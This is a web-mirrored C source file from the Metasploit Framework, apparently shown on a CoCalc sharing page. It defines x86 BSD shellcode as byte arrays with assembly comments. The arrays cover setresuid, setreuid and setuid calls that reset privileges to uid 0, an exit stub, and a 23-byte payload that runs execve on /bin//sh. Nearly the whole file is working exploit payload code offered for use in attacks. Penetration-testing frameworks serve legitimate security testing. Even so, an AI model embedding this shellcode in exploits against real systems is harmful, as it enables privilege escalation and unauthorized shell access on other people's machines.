CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/unixasm/bsd-x86-shellcode.c
Views: 11766
1
/*
2
* bsd-x86-shellcode.c
3
* Copyright 2004 Ramon de Carvalho Valle <[email protected]>
4
*
5
* This library is free software; you can redistribute it and/or
6
* modify it under the terms of the GNU Lesser General Public
7
* License as published by the Free Software Foundation; either
8
* version 2.1 of the License, or (at your option) any later version.
9
*
10
* This library is distributed in the hope that it will be useful,
11
* but WITHOUT ANY WARRANTY; without even the implied warranty of
12
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
13
* Lesser General Public License for more details.
14
*
15
* You should have received a copy of the GNU Lesser General Public
16
* License along with this library; if not, write to the Free Software
17
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
18
*
19
*/
20
21
char setresuidcode[]= /* 12 bytes */
22
"\x31\xc0" /* xorl %eax,%eax */
23
"\x50" /* pushl %eax */
24
"\x50" /* pushl %eax */
25
"\x50" /* pushl %eax */
26
"\x50" /* pushl %eax */
27
"\x66\xb8\x37\x01" /* movw $0x0137,%ax */
28
"\xcd\x80" /* int $0x80 */
29
;
30
31
char setreuidcode[]= /* 9 bytes */
32
"\x31\xc0" /* xorl %eax,%eax */
33
"\x50" /* pushl %eax */
34
"\x50" /* pushl %eax */
35
"\x50" /* pushl %eax */
36
"\xb0\x7e" /* movb $0x7e,%al */
37
"\xcd\x80" /* int $0x80 */
38
;
39
40
char setuidcode[]= /* 8 bytes */
41
"\x31\xc0" /* xorl %eax,%eax */
42
"\x50" /* pushl %eax */
43
"\x50" /* pushl %eax */
44
"\xb0\x17" /* movb $0x17,%al */
45
"\xcd\x80" /* int $0x80 */
46
;
47
48
char exitcode[]= /* 7 bytes */
49
"\x31\xc0" /* xorl %eax,%eax */
50
"\x50" /* pushl %eax */
51
"\xb0\x01" /* movb $0x01,%al */
52
"\xcd\x80" /* int $0x80 */
53
;
54
55
char shellcode[]= /* 23 bytes */
56
"\x31\xc0" /* xorl %eax,%eax */
57
"\x50" /* pushl %eax */
58
"\x68\x2f\x2f\x73\x68" /* pushl $0x68732f2f */
59
"\x68\x2f\x62\x69\x6e" /* pushl $0x6e69622f */
60
"\x89\xe3" /* movl %esp,%ebx */
61
"\x50" /* pushl %eax */
62
"\x54" /* pushl %esp */
63
"\x53" /* pushl %ebx */
64
"\x50" /* pushl %eax */
65
"\xb0\x3b" /* movb $0x3b,%al */
66
"\xcd\x80" /* int $0x80 */
67
;
68
69
70